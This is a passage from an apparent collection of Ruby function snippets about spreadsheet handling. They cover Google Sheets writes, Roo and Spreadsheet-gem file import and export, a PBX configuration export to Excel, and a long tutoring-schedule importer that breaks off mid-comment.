end", "def save_as_spreadsheet\n\nsession = GoogleDrive::Session.from_config(\"config.json\")\n# First worksheet of\n# https://docs.google.com/spreadsheets/d/19fXbxVaXn9knKHPAQMuuMsiKH_Q50cN5jlj6K3H8VQc/edit#gid=0\nws = session.spreadsheet_by_key(\"19fXbxVaXn9knKHPAQMuuMsiKH_Q50cN5jlj6K3H8VQc\").worksheets[0]\n\n# Gets content of A2 cell.\n#p ws[2, 1] #==> \"hoge\"\n\n# Changes content of cells.\n# Changes are not sent to the server until you call ws.save().\n\nx = 1\n$my_hash.each do |key, value|\n\tws[x, 1] = key\n\tws[x, 2] = value\n\tx +=1\nend\nws.save\n\n# Dumps all cells.\n(1..ws.num_rows).each do |row|\n (1..ws.num_cols).each do |col|\n p ws[row, col]\n end\nend\n\n# Yet another way to do so.\np ws.rows #==> [[\"fuga\", \"\"], [\"foo\", \"bar]]\n\n# Reloads the worksheet to get changes by other clients.\nws.reload\nend", "def set_time_sheet\n @time_sheet = TimeSheet.find(params[:id])\n end", "def process_data()\n \tSpreadsheet.client_encoding='UTF-8'\n\tbook=Spreadsheet::Workbook.new\n\tsheet = book.create_worksheet\n\tsheet.row(0).push 'Link Text','Link Url','Description' #For including headers to the spreadsheet.\n\n\tmain_content=Array.new\n\ts=''\n\ts1=''\n\tvalue=0\n\trow_count=1\n\titerate=@range1.to_i\n\twhile iterate <= @range2.to_i\n \t\tif iterate==1\n \t\t\turl='http://www.google.co.in/search?q='+@query_string.to_s\n \t\t\tlink_count=11\n \t\telsif iterate>1\n \t\t\tvalue=(iterate-1)*10\n \t\t\tlink_count=10\n \t\t\turl='http://www.google.co.in/search?q='+@query_string.to_s+'&start='+value.to_s\n \t\tend\n \t\tdoc = Pismo::Document.new(url)\n \t\tcontent=doc.body.to_s\n \t\tmain_content=content.split('*',11)\n \t\ttmp=1\n \t\twhile tmp <= link_count\n \t\t\ts=main_content[tmp]\n \t\t\ts1=s.lines.map(&:chomp) #s1=s.split(/[\\n]+/)\n \t\t\t#print \"Link #{j} : \" + s1[1].to_s + \"\\nUrl #{j} : \" + s1[2].to_s + \"\\nDesc #{j} : \" + s1[3].to_s + \"\\n\"\n \t\t\tsheet.row(row_count).push s1[1].to_s,s1[2].to_s,s1[3].to_s\n \t\t\tbook.write('/home/chandrasekar/training-ruby/shekar/18_September/website_link.xls')\n \t\t\trow_count+=1\n \t\t\ttmp+=1\n \t\tend\n \t\titerate+=1\n\tend\n end", "def open_spreadsheet(file)\n\t\tcase File.extname(file.original_filename)\n\t\twhen '.csv' then Roo::Csv.new(file.path, nil, :ignore)\n\t\twhen '.xls' then Roo::Excel.new(file.path, nil, :ignore)\n\t\twhen '.xlsx' then Roo::Excelx.new(file.path, nil, :ignore)\n\t\telse raise \"Unknown file type: #{file.original_filename}\"\n\t\tend\n\tend", "def save_as_spreadsheet\n session = GoogleDrive::Session.from_config('./config.json')\n key = '1cAn303rPBOi1d2O0j4tQuGi5FZksD2yVAzNQd57cDns'\n ws = session.spreadsheet_by_key(key).worksheets[0]\n i = 1\n get_townhall_url.sto_a.each do |x|\n ws[i, 1] = x[0]\n ws[i, 2] = x[1]\n i += 1\n end\n ws.save\n puts \"\\nTon fichier google est prêt\\n\\n\"\n Index.new.index\n end", "def set_excel\n @excel = Excel.find(params[:id])\n end", "def set_excel\n @excel = Excel.find(params[:id])\n end", "def set_date_of_sheet(date, spreadsheet_id)\n day = date.day\n month = date.month\n year = date.year\n weekday = date.strftime('%A')\n formatted_date = \"#{month}/#{day}/#{year} #{weekday}\"\n range = \"#{day}!A2\" #sheet_name = date\n write_sheet_values(range, [[formatted_date]], date)\nend", "def worksheet (sheetname, objectType,objects)\r\n\t\r\n\t buffer =\"\"\r\n\t xm = Builder::XmlMarkup.new(buffer) # stream to the text buffer\r\n\t type = ActiveRecord::Base.const_get(objectType.classify)\r\n\t \r\n\t xm.Worksheet 'ss:Name' => sheetname do\r\n \t xm.Table do\r\n \t \r\n \t # Header\r\n \t xm.Row do\r\n \t for column in type.columns do\r\n \t xm.Cell do\r\n \t xm.Data column.human_name, 'ss:Type' => 'String'\r\n \t end\r\n \t end\r\n \t end\r\n \t \r\n \t # Rows\r\n \t for record in objects\r\n \t xm.Row do\r\n \t for column in type.columns do\r\n \t xm.Cell do\r\n \t xm.Data record.send(column.name), 'ss:Type' => 'String'\r\n \t end\r\n \t end\r\n \t end\r\n \t end # for\r\n \t \r\n \t end # table\r\n\t end #worksheet\r\n\t \r\n\t return xm.target! # retrieves the buffer\r\n\t\r\n\t end", "def read_server_write_file(agent, creds, url, outfilename, field_blacklist, field_order, categories)\n wb = RubyXL::Workbook.new\n\n # Admin worksheet\n ws_admin = wb.add_worksheet('Admin')\n ws_admin.add_cell(0, 0, 'Admin user')\n ws_admin.add_cell(0, 1, 'Password')\n ws_admin.add_cell(1, 0, creds[:username])\n ws_admin.add_cell(1, 1, creds[:password])\n\n SUPPORTED_TABS.each do |tab|\n category = tab.downcase\n next unless categories.empty? || categories.include?(category.sub(/\\..*/, ''))\n ws = nil # Delay creating the worksheet until we know whether there are any entries to put on it\n\n case category\n # Extensions have a subcategory: tech. Different technologies have different attributes, which means they can't\n # share a tab in the Excel file so easily.\n when /extensions\\./\n category,tech = category.split('.')\n ext_page = get_page(agent, creds, url + CONFIG, {display: category})\n ext_grid_result = get_page(agent, creds, url + AJAX,\n {module: :core, command: :getExtensionGrid, type: tech, order: :asc}, ext_page.uri.to_s)\n ext_grid = JSON.parse(ext_grid_result.body)\n extn_table = []\n ext_grid.each do |ext|\n ext_page = get_page(agent, creds, url + CONFIG,\n {display: :extensions, extdisplay: ext['extension']}, ext_grid_result.uri.to_s)\n puts \"Extension #{ext['extension']}\" unless $quiet\n ws ||= wb.add_worksheet(tab)\n extn_table << construct_row_from_form(ext_page.form('frm_extensions'), field_blacklist[category])\n end\n write_table(ws, extn_table, field_order[category]) if ws\n\n # Trunks have a subcategory: tech. Different technologies have different attributes, which means they can't\n # share a tab in the Excel file so easily.\n when /trunks\\./\n category,tech = category.split('.')\n trunks_page = get_page(agent, creds, url + CONFIG, {display: :trunks})\n trunks_grid_result = get_page(agent, creds, url + AJAX,\n {module: :core, command: :getJSON, jdata: :allTrunks, order: :asc}, trunks_page.uri.to_s)\n trunks_grid = JSON.parse(trunks_grid_result.body)\n\n trnk_table = []\n trunks_page.css('table#table-all/tbody/tr').each do |tr| # For each trunk, find its table row...\n next unless tr.css('td')[1].text == tech # ...ignore if wrong tech\n a = tr.css('td/a') # Find the 'edit' link\n if a and a.first\n linkaddr = a.first['href'] # Follow trunk's 'edit' link\n trunk_page = get_page(agent, creds, url + ADMIN + '/' + linkaddr, '', trunks_page.uri.to_s)\n # Look up this trunk in the JSON data returned from the AJAX request (without assuming row ordering)\n trk_data = trunks_grid.detect { |e| e['trunkid'] == tr['id'] }\n puts \"Trunk #{trk_data['name']}\" unless $quiet\n # Tell the form-reader to override certain radioboxes, based on the JSON data.\n # This is necessary because the returned form doesn't contain the currently selected data. Instead,\n # a JavaScript script retrieves some JSON data and sets some of the radioboxes. It even overrides\n # the value of the 'outcid' field (which is not emulated here).\n override = {\n hcidyes: (/hidden/ =~ trk_data['outcid']),\n hcidno: !(/hidden/ =~ trk_data['outcid']),\n keepcidoff: trk_data['keepcid'] == 'off',\n keepcidon: trk_data['keepcid'] == 'on',\n keepcidcnum: trk_data['keepcid'] == 'cnum',\n keepcidall: trk_data['keepcid'] == 'all',\n continueno: trk_data['continue'] == 'off',\n continueyes: !(trk_data['continue'] == 'off'),\n disabletrunkno: trk_data['disabled'] == 'off',\n disabletrunkyes: !(trk_data['disabled'] == 'off')\n }\n\n ws ||= wb.add_worksheet(tab)\n trnk_table << construct_row_from_form(trunk_page.form('trunkEdit'), field_blacklist[category], override)\n end\n write_table(ws, trnk_table, field_order[category]) if ws\n end\n end\n end\n\n #wb.delete_worksheet('Sheet1')\n wb.write(outfilename)\nend", "def for_this_instance(options)\n self.class.new(@ole_excel, options)\n end", "def write_tasks_to_spreadsheet(tasks, output_filename)\n # Initialize\n book = Spreadsheet::Workbook.new\n sheet = book.create_worksheet\n sheet.row(0).concat %w{Title Category Minimum Maximum Average}\n\n puts tasks\n\n tasks.each_with_index do |task, i|\n sheet.row(i + 1).push(task.title)\n sheet.row(i + 1).push(task.category)\n sheet.row(i + 1).push(task.min_price)\n sheet.row(i + 1).push(task.max_price)\n sheet.row(i + 1).push(task.avg_price)\n end\n\n # Format\n sheet.row(0).height = 14\n\n format = Spreadsheet::Format.new :color => :blue,\n :weight => :bold,\n :size => 14\n sheet.row(0).default_format = format\n\n # Write to file\n book.write output_filename\nend", "def import_spreadsheet\n @project = Yogo::Project.get(params[:id])\n @total_steps = 3\n\n case params[:step]\n when '2'\n file = copy_uploaded_file(params[:spreadsheet])\n session[:import_file] = file\n contents = FasterCSV.read(file)\n @headers = contents[0]\n @rows = contents.length - 1\n @measurements = params[:measurements].keys.map{|k| @project.data_collections.get k }\n @import_step = 2\n when '3'\n @measurements, @example, @sheet_rows = {}, {}, 0\n params['measurements'].each do |m_id, parameters|\n m = @project.data_collections.get m_id\n m_hash = {}\n m_hash['measurement'] = [m.measurement_schema.id, parameters.delete('measurement')]\n m_hash['parameters'] = []\n parameters.each do |p_id, header|\n p = m.schema.get p_id\n m_hash['parameters'] << [p, header]\n end\n @measurements[m] = m_hash\n @measurements[m]['count'] = 0\n @measurements[m]['example'] = {}\n end\n\n FasterCSV.foreach(session[:import_file], :headers => true) do |row|\n @headers ||= row.headers\n \n @measurements.each do |m, v|\n if @measurements[m]['example'].empty?\n @headers.each { |h| @measurements[m]['example'][h] = [] } \n end\n unless row[v['measurement'][1]].blank?\n if @measurements[m]['count'] < 5\n row.each { |h, v| @measurements[m]['example'][h] << v }\n end\n @measurements[m]['count'] += 1 \n end\n end\n @sheet_rows += 1\n end\n session_hash = {}\n @measurements.each do |m,v|\n session_hash[m.id] = {\n 'parameters' => v['parameters'].map{|p| [p[0].id, p[1]] }, \n 'measurement' => v['measurement']\n }\n end\n session[:measurements] = session_hash\n @import_step = 3\n when '4'\n @measurements = {}\n session[:measurements].each do |m_id,v|\n m = @project.data_collections.get(m_id)\n @measurements[m] = v\n end\n @measurements.each do |m,v|\n @measurements[m]['initial'] = m.items.all.count\n if params['replace_data'] && (params['replace_data'][m.id.to_s] == 'DELETE')\n m.items.all.destroy\n end\n @measurements[m]['deleted'] = @measurements[m]['initial'] - m.items.all.count\n @measurements[m]['added'] = 0\n @measurements[m]['errors'] = []\n end\n FasterCSV.foreach(session[:import_file], :headers => true) do |row|\n @headers ||= row.headers\n @measurements.each do |m, v|\n values = {}\n unless row[v['measurement'][1]].blank?\n fields = {}\n m.schema.each{|s| fields[s.id.to_s] = s.to_s.intern }\n v['parameters'].each do |p,h|\n values[fields[p.to_s]] = row[h]\n end\n values[fields[v['measurement'][0].to_s]] = row[v['measurement'][1]]\n d = m.data_model.new(values)\n if d.valid?\n d.save\n else\n @measurements[m]['errors'] << d.errors.full_messages.join(\", \")\n end\n @measurements[m]['added'] += 1\n end\n end\n end\n @measurements.each_key{|m| @measurements[m]['total'] = m.items.all.count }\n @import_step = 4\n else\n @import_step = 1\n end\n\n render(\"import_spreadsheet_#{@import_step}\")\n end", "def parse_spreadsheet_xml(spreadsheet_xml)\n workbook = Workbook.new\n \n doc = LibXML::XML::Parser.string(spreadsheet_xml).parse\n doc.root.namespaces.default_prefix=\"ss\"\n \n doc.find(\"//ss:style\").each do |s|\n style = Style.new(s[\"id\"])\n s.children.each do |a|\n style.attributes[a.name] = a.content unless (a.name == \"text\")\n end\n workbook.styles[style.name] = style\n end\n\n\n doc.find(\"//ss:sheet\").each do |s|\n unless s[\"hidden\"] == \"true\" || s[\"very_hidden\"] == \"true\"\n sheet = Sheet.new(s[\"name\"])\n workbook.sheets << sheet\n #Load into memory\n min_rows = 10\n min_cols = 10\n #Grab columns\n columns = s.find(\"./ss:columns/ss:column\")\n col_index = 0\n #Add columns\n columns.each do |c|\n col_index = c[\"index\"].to_i\n col = Column.new(col_index, c[\"width\"])\n sheet.columns << col\n end\n #Pad columns (so it's at least 10 cols wide)\n if col_index < min_cols\n for i in ((col_index+1)..min_cols)\n col = Column.new(i, 2964.to_s)\n sheet.columns << col\n end\n else\n min_cols = col_index\n end\n #Grab rows\n rows = s.find(\"./ss:rows/ss:row\")\n row_index = 0\n #Add rows\n rows.each do |r|\n row_index = r[\"index\"].to_i\n row = Row.new(row_index, r[\"height\"])\n sheet.rows[row_index] = row\n #Add cells\n r.find(\"./ss:cell\").each do |c|\n col_index = c[\"column\"].to_i\n content = c.content\n content = content.to_f if c[\"type\"] == \"numeric\"\n cell = Cell.new(content, row_index, col_index, c[\"formula\"], c[\"style\"])\n row.cells[col_index] = cell\n end\n end\n #Pad rows\n if row_index < min_rows\n for i in (row_index..min_rows)\n row = Row.new(i, 1000.to_s)\n sheet.rows << row\n end\n min_rows = 10\n else\n min_rows = row_index\n end\n sheet.last_row = min_rows\n sheet.last_col = min_cols\n end\n end\n\n workbook\n end", "def apri_file(file)\n s = Roo::Excel.new(file.to_s)\n return s.sheet(0)\n end", "def report \n @cars = Car.all\n\n book = Spreadsheet::Workbook.new \nsheet = book.create_worksheet :name => 'Test' \nmerge = Spreadsheet::Format.new :horizontal_align => :merge \nsheet.row(0).set_format(1, merge) \nsheet.row(0).set_format(2, merge) \nsheet.row(0).set_format(3, merge) \nsheet.row(0).set_format(4, merge) \n @cars.each_with_index do |car, i|\n sheet[i, 1] = car.title\n sheet[i, 5] = car.price\n car.parameters.each do |p| \n\tsheet[i, 2] = p.value if !(p.name !~ /发动机排量/)\n\tsheet[i, 3] = p.value if !(p.name !~ /生产厂家/) \n\tsheet[i, 4] = p.value if !(p.name !~ /生产状态/)\n end\n \n \n end\nbook.write '/home/ruby/mycar/fruits.xls' \n redirect_to :action => 'download' \nend", "def goal_sheet_input\n goal_ranges.each do |range|\n @range = range\n @goal_sheet = @xlsx.sheet(@range).parse(header_search: [])\n create_goals\n end\n end", "def template\n sheet.book.template\n end", "def get_sheet_response(range)\n spreadsheet_id = get_spreadsheet_id(Time.now) #gets id of spreadsheet of current month\n $service.get_spreadsheet_values(spreadsheet_id, range).values # mock this\nend", "def get_excel_content(file, sheet_name, type)\n excel = (type == 'xlsx') ? Roo::Excelx.new(file.path) : Roo::Excel.new(file.path)\n excel.default_sheet = sheet_name unless sheet_name.nil?\n content = excel.to_csv\n end", "def loadschedule\n logger.debug \"in loadschedule\"\n # log levels are: :debug, :info, :warn, :error, :fatal, and :unknown, corresponding to the log level numbers from 0 up to 5\n #logger.fatal \"1.log level\" + Rails.logger.level.inspect\n #service = googleauthorisation(request)\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n #spreadsheet_id = '1CbtBqeHyYb9jRmROCgItS2eEaYSwzOMpQZdUWLMvjng'\n #sheet_name = 'WEEK 1'\n spreadsheet_id = current_user[:ssurl].match(/spreadsheets\\/d\\/(.*?)\\//)[1]\n sheet_name = current_user[:sstab]\n colsPerSite = 7\n # first get sites from the first row\n range = \"#{sheet_name}!A3:AP3\"\n holdRailsLoggerLevel = Rails.logger.level\n Rails.logger.level = 1 \n response = service.get_spreadsheet_values(spreadsheet_id, range)\n Rails.logger.level = holdRailsLoggerLevel \n # extract the key for this week e.g. T3W1\n myrow = response.values[0]\n week = myrow[0] # this key is used over and over\n # pick up the sites\n sites = Hash.new() # array holding all sites\n # index = site name\n # col_start = first column for site\n myrow.map.with_index do |v, i|\n sites[v[/\\w+/]] = {\"col_start\" => i-1} if v != \"\" && v != week\n end\n\n #this function converts spreadsheet indices to column name\n # examples: e[0] => A; e[30] => AE \n e=->n{a=?A;n.times{a.next!};a} \n \n #---------------------------------------------\n # We now need to work through the sites by day\n # and tutorial slots\n # We will load a spreadsheet site at a time\n #sites # array holding all sites\n # index = site name\n # col_start = first column for site\n #days # array of rows numbers starting the day\n #slottimes # array of row number starting each slot\n # index = row number, values = ssdate\n # and datetime = datetime of the slot\n # @schedule array holds all the info required for updating \n # the database and displaying the results\n @schedule = Array.new()\n #These arrays and hashes are used within the sites loop\n #They get cloned and cleared during iterations\n onCall = Array.new()\n onSetup = Array.new()\n requiredSlot = Hash.new()\n thisLesson = Hash.new()\n flagProcessingLessons = false # need to detect date to start\n # @allColours is used in the view\n # It is used to show all colors used in the google schedule\n # Analysis tool.\n @allColours = Hash.new()\n # work through our sites, reading spreadsheet for each\n # and extract the slots, lessons, tutors and students\n # We also get the lesson notes.\n # At the beginning of each day, we get the on call and\n # setup info\n sites.each do |si, sv| # site name, {col_start}\n mystartcol = e[sv[\"col_start\"]]\n myendcol = e[sv[\"col_start\"] + colsPerSite - 1]\n #myendcoldates = e[sv[\"col_start\"] + 1] \n # ****************** temp seeting during development\n # restrict output for testing and development\n #range = \"#{sheet_name}!#{mystartcol}3:#{myendcol}60\"\n #rangedates = \"#{sheet_name}!#{mystartcol}3:#{mystartcol}60\"\n # becomes for production\n range = \"#{sheet_name}!#{mystartcol}3:#{myendcol}\"\n rangedates = \"#{sheet_name}!#{mystartcol}3:#{mystartcol}\"\n Rails.logger.level = 1 \n response = service.get_spreadsheet(\n spreadsheet_id,\n ranges: range,\n fields: \"sheets(data.rowData.values\" + \n \"(formattedValue,effectiveFormat.backgroundColor))\"\n )\n \n responsedates = service.get_spreadsheet_values(\n spreadsheet_id,\n rangedates,\n {value_render_option: 'UNFORMATTED_VALUE',\n date_time_render_option: 'SERIAL_NUMBER'\n }\n )\n \n Rails.logger.level = holdRailsLoggerLevel\n # Now scan each row read from the spreadsheet in turn\n logger.debug \"processing data from spreadsheet by rows.\"\n response.sheets[0].data[0].row_data.map.with_index do |r, ri|\n # r = value[] - contains info for ss cell - content & colour,\n # ri = row index\n #\n # FOR ANALYSIS ONLY - not for loading database\n # To analyse all the colours used in the spreadsheet,\n # we store all background colours from relevant cells.\n # Show them at the end to see if some are not what they\n # should be - manual inspection.\n # use: cell_background_color = getformat.call(column_index)\n storecolours = lambda{|j| \n cf = nil\n if r.values[j]\n if r.values[j].effective_format\n cf = r.values[j].effective_format.background_color\n end\n end\n # store all colours and keep count of how often\n # also, keep location of first occurance\n if cf != nil\n #col = [cf.red,cf.green,cf.blue]\n col = colourToArray(cf)\n @allColours[col] ? \n @allColours[col][2] += 1 :\n @allColours[col] = [e[j + sv[\"col_start\"]],3+ri,1]\n end\n }\n # Now start processing the row content\n c0 = getvalue(r.values[0])\n if c0 == week # e.g. T3W1 - first row of the day \n storecolours.call(1)\n next\n end\n if c0 == \"ON CALL\" # we are on \"ON CALL\" row\n storecolours.call(1)\n for i in 1..7 do # keep everything on this row\n cv = getvalue(r.values[i])\n onCall.push(cv) if cv != \"\"\n end\n next\n end\n if c0 == \"SETUP\" # we are on \"ON CALL\" row e.g. T3W1\n storecolours.call(1)\n for i in 1..7 do # keep everything on row\n cv = getvalue(r.values[i])\n onSetup.push(cv) if cv != \"\"\n end\n next\n end\n # look for date row - first row for slot e.g 7/18/2016\n if c0.match(/(\\d+)\\/(\\d+)\\/(\\d+)/)\n cf1 = getformat(r.values[1])\n # If this cell with day/time content is black,\n # then this slot is not used.\n # just skip - any onCall or onSetup already found will be\n # put into the first valid slot.\n if colourToStatus(cf1)['colour'].downcase != 'white'\n flagProcessingLessons = false\n next\n else\n flagProcessingLessons = true\n end\n # we are now working with a valid slot\n unless requiredSlot.empty?\n @schedule.push(requiredSlot.clone)\n requiredSlot.clear\n end\n #now get the matching date from the responsedates array\n mydateserialnumber = responsedates.values[ri][0]\n \n begin\n mydate = Date.new(1899, 12, 30) + mydateserialnumber \n c1 = getvalue(r.values[1])\n n = c1.match(/(\\w+)\\s+(\\d+)\\:*(\\d{2})/im) # MONDAY 330 xxxxxxx\n # Note: add 12 to hours as these are afternoon sessions.\n # Check for ligimate dates\n myhour = n[2].to_i\n mymin = n[3].to_i\n #dt1 = DateTime.new(mydate.year, mydate.month, mydate.day,\n # 1, 1)\n #dt2 = DateTime.new(2000, 1, 1,\n # myhour + 12, mymin)\n dt = DateTime.new(mydate.year, mydate.month, mydate.day,\n myhour + 12, mymin)\n rescue \n\n errorSite = si\n #errorRow = ri + 3\n myerror = \"Load Schedule - data processing error: \" +\n \" found in site: \" + errorSite +\n \" c0: \" + c0.inspect +\n \" c1: \" + c1.inspect +\n \" mydateserialnumber: \" + mydateserialnumber.inspect +\n \" error message: \" + $!.inspect\n logger.debug myerror\n flash[:notice] = myerror\n render action: :load\n return\n end\n requiredSlot[\"timeslot\"] = dt # adjust from am to pm.\n requiredSlot[\"location\"] = si\n logger.debug \"working with \" + si.inspect + ' ' + dt.inspect\n # Now that we have a slot created, check if this has been\n # the first one for the day. i.e. there are on call and setup events\n # If so, we make them into a lesson and add them to the slot.\n # Delete them when done.\n if(!onCall.empty? || !onSetup.empty?)\n requiredSlot[\"onCall\"] = onCall.clone unless onCall.empty?\n requiredSlot[\"onSetup\"] = onSetup.clone unless onSetup.empty?\n onCall.clear\n onSetup.clear\n end\n next\n end\n # any other rows are now standard lesson rows\n # If no date row yet detected or\n # this is not a valid slot (black background on date row)\n # we ignore\n next if flagProcessingLessons == false\n # Now do normal lession processing.\n c1 = getvalue(r.values[1]) # tutor\n c2 = getvalue(r.values[2]) # student 1\n c4 = getvalue(r.values[4]) # student 2\n c6 = getvalue(r.values[6]) # lesson comment\n cf1 = getformat(r.values[1])\n cf2 = getformat(r.values[2])\n cf4 = getformat(r.values[4])\n # store colours for cells of interest\n [1,2,3,4,5,6].each do |j|\n storecolours.call(j)\n end\n thisLesson[\"tutor\"] = [c1,cf1] if c1 != \"\"\n if c2 != \"\" || c4 != \"\" #student/s present\n thisLesson[\"students\"] = Array.new()\n thisLesson[\"students\"].push([c2,cf2]) if c2 != \"\"\n thisLesson[\"students\"].push([c4,cf4]) if c4 != \"\"\n end\n thisLesson[\"comment\"] = c6 if c6 != \"\"\n requiredSlot[\"lessons\"] = Array.new() unless requiredSlot[\"lessons\"]\n requiredSlot[\"lessons\"].push(thisLesson.clone) unless thisLesson.empty?\n thisLesson.clear\n end\n # at end of last loop - need to keep if valid slot\n unless requiredSlot.empty?\n @schedule.push(requiredSlot.clone)\n requiredSlot.clear\n end\n #break # during dev only - only doing one site\n end\n # cache the tutors and students for laters processing by the utilities.\n @tutors = Tutor.all\n @students = Student.all\n \n # Now start the database updates using the info in @schedule\n # Note:\n # my... = the info extracted from @schedule\n # this... = the database record \n \n # slot info\n @schedule.each do |r|\n # These are initialise on a row by row basis\n r[\"slot_updates\"] = \"\"\n r[\"onCallupdates\"] = \"\"\n r[\"onSetupupdates\"] = \"\"\n r[\"commentupdates\"] = \"\"\n # Process the slot\n mylocation = r[\"location\"]\n mytimeslot = r[\"timeslot\"] \n thisslot = Slot.where(location: mylocation, timeslot: mytimeslot).first\n unless thisslot # none exist\n thisslot = Slot.new(timeslot: mytimeslot, location: mylocation)\n if thisslot.save\n r[\"slot_updates\"] = \"slot created\"\n else\n r[\"slot_updates\"] = \"slot creation failed\"\n end\n else\n r[\"slot_updates\"] = \"slot exists - no change\"\n end\n # Now load lessons (create or update)\n # first up is the \"On Call\"\n # these will have a lesson status of \"oncall\"\n # [\"DAVID O\\n| E12 M12 S10 |\"]\n if(mylesson = r[\"onCall\"])\n logger.debug \"mylesson - r onCall: \" + mylesson.inspect\n mytutornamecontent = findTutorNameComment(mylesson, @tutors)\n # check if there was a tutor found.\n # If not, then we add any comments to the lesson comments.\n lessoncomment = \"\"\n if mytutornamecontent[0] == nil\n lessoncomment = mylesson[0]\n elsif mytutornamecontent[0][\"name\"] == \"\" && \n mytutornamecontent[0][\"comment\"].strip != \"\"\n lessoncomment = mytutornamecontent[0][\"comment\"]\n end\n if lessoncomment != \"\" ||\n (\n mytutornamecontent[0] != nil &&\n mytutornamecontent[0][\"name\"] != \"\"\n )\n # something to put in lesson so ensure it exists - create if necessary\n thislesson = Lesson.where(slot_id: thisslot.id, status: \"onCall\").first\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: \"onCall\",\n comments: lessoncomment)\n if thislesson.save\n r[\"onCallupdates\"] += \"|lesson created #{thislesson.id}|\"\n else\n r[\"onCallupdates\"] += \"|lesson creation failed|\"\n end\n end\n end\n # Now load in the tutors - if any\n mytutornamecontent.each do |te|\n logger.debug \"mytutornameconent - te: \" + te.inspect\n # need tutor record - know it exists if found here\n if te['name']\n # create a tutrole record if not already there\n thistutor = Tutor.where(pname: te['name']).first # know it exists\n mytutorcomment = te['comment']\n # determine if this tutrole already exists\n thistutrole = Tutrole.where(lesson_id: thislesson.id,\n tutor_id: thistutor.id\n ).first\n if thistutrole # already there\n if thistutrole.comment == mytutorcomment &&\n thistutrole.status == \"\" &&\n thistutrole.kind == \"onCall\"\n r[\"onCallupdates\"] += \"|no change|\"\n else\n if thistutrole.comment != mytutorcomment\n thistutrole.update(comment: mytutorcomment)\n end\n if thistutrole.status != \"\"\n thistutrole.update(status: \"\")\n end\n if thistutrole.kind != \"onSetup\"\n thistutrole.update(kind: \"onSetup\")\n end\n if thistutrole.save\n r[\"onCallupdates\"] += \"|updated tutrole|\"\n else\n r[\"onCallupdates\"] += \"|update failed|\"\n end\n end\n else # need to be created\n thistutrole = Tutrole.new(lesson_id: thislesson.id,\n tutor_id: thistutor.id,\n comment: mytutorcomment,\n status: \"\",\n kind: \"onCall\")\n if thistutrole.save\n r[\"onCallupdates\"] += \"|tutrole created #{thistutrole.id}|\"\n else\n r[\"onCallupdates\"] += \"|tutrole creation failed|\"\n end\n end\n end\n end\n end\n # second up is the \"Setup\"\n # these will have a lesson status of \"onsetup\"\n # [\"DAVID O\\n| E12 M12 S10 |\"]\n if(mylesson = r[\"onSetup\"])\n mytutornamecontent = findTutorNameComment(mylesson, @tutors)\n # check if there was a tutor found.\n # If not, then we add any comments to the lesson comments.\n lessoncomment = \"\"\n if mytutornamecontent[0][\"name\"] == \"\" && \n mytutornamecontent[0][\"comment\"].strip != \"\"\n lessoncomment = mytutornamecontent[0][\"comment\"]\n end\n if mytutornamecontent[0][\"name\"] != \"\" || \n lessoncomment != \"\"\n # something to put in lesson so ensure it exists - create if necessary\n thislesson = Lesson.where(slot_id: thisslot.id, status: \"onSetup\").first\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: \"onSetup\",\n comments: lessoncomment)\n if thislesson.save\n r[\"onSetupupdates\"] += \"|created lession #{thislesson.id}|\"\n else\n r[\"onSetupupdates\"] += \"|create lession failed|\"\n end\n end\n end\n # Now load in the tutors - if any\n mytutornamecontent.each do |te|\n # need tutor record - know it exists if found here\n if te['name']\n # create a tutrole record if not already there\n thistutor = Tutor.where(pname: te['name']).first # know it exists\n mytutorcomment = te['comment']\n # determine if this tutrole already exists\n thistutrole = Tutrole.where(lesson_id: thislesson.id,\n tutor_id: thistutor.id\n ).first\n if thistutrole # already there\n if thistutrole.comment == mytutorcomment &&\n thistutrole.status == \"\" &&\n thistutrole.kind == \"onSetup\"\n r[\"onSetupupdates\"] += \"|no change #{thistutrole.id}|\"\n else\n if thistutrole.comment != mytutorcomment\n thistutrole.update(comment: mytutorcomment)\n end\n if thistutrole.status != \"\"\n thistutrole.update(status: \"\")\n end\n if thistutrole.kind != \"onSetup\"\n thistutrole.update(kind: \"onSetup\")\n end\n if thistutrole.save\n r[\"onSetupupdates\"] += \"|updated tutrole #{thistutrole.id}|\"\n else\n r[\"onSetupupdates\"] += \"|update failed|\"\n end\n end\n else # need to be created\n thistutrole = Tutrole.new(lesson_id: thislesson.id,\n tutor_id: thistutor.id,\n comment: mytutorcomment,\n status: \"\",\n kind: \"onSetup\")\n if thistutrole.save\n r[\"onSetupupdates\"] += \"|tutrole created #{thistutrole.id}|\"\n else\n r[\"onSetupupdates\"] += \"|tutrole creation failed|\"\n end\n end # if thistutrole\n end\n end\n end # end onSetup \n # third is standard lessons\n # these will have a lesson status of that depends on colour\n # which gets mapped into a status\n # [\"DAVID O\\n| E12 M12 S10 |\"]\n # mylessons = \n #[{tutor =>[name, colour], \n # students=>[[name, colour],[name, colour]],\n # comment => \"\"\n # }, ...{}... ]\n #\n #\n #{\"tutor\"=>[\"ALLYSON B\\n| M12 S12 E10 |\",\n # #<Google::Apis::SheetsV4::Color:0x00000003ef3c80 \n # @blue=0.95686275, @green=0.7607843, @red=0.6431373>],\n # \"students\"=>[\n # [\"Mia Askew 4\", \n # #<Google::Apis::SheetsV4::Color:0x00000003edeab0 \n # @blue=0.972549, @green=0.85490197, @red=0.7882353>],\n # [\"Emily Lomas 6\", \n # #<Google::Apis::SheetsV4::Color:0x00000003eb06d8 \n # @blue=0.827451, @green=0.91764706, @red=0.8509804>]],\n # \"comment\"=>\"Emilija away\"\n #}\n #\n\n # first we need to see if there are already lessons\n # for this tutor in this slot (except Setup & oncall)\n # Check procedure\n # 1. Get all lessons from database in this slot\n # 2. From the database for these lessons, we cache\n # a) all the tutroles (tutors) \n # b) all the roles (students)\n # Tutroles query excludes status \"onSetup\" & \"onCall\"\n # Note: tutroles hold: sessin_id, tutor_id, status, comment\n # 3. Loop through each lesson from the spreadsheet and check\n # Note: if tutor in ss, but not found in database, then add\n # as a comment; same for students\n # a) if tutor or student in the ss for this lesson has either\n # a tutor or student in the database, then that is the \n # lesson to use, ELSE we create a new lesson.\n # This is then the lesson we use for the following steps\n # b) for my tutor in ss, is there a tutrole with this tutor\n # If so, update the tutrole with tutor comments (if changed)\n # If not,\n # i) create a lesson in this slot\n # ii) create a tutrole record linking lesson and tutor\n # Note 1: This lesson is then used for the students.\n # If a student is found in a different lesson in this\n # slot, then 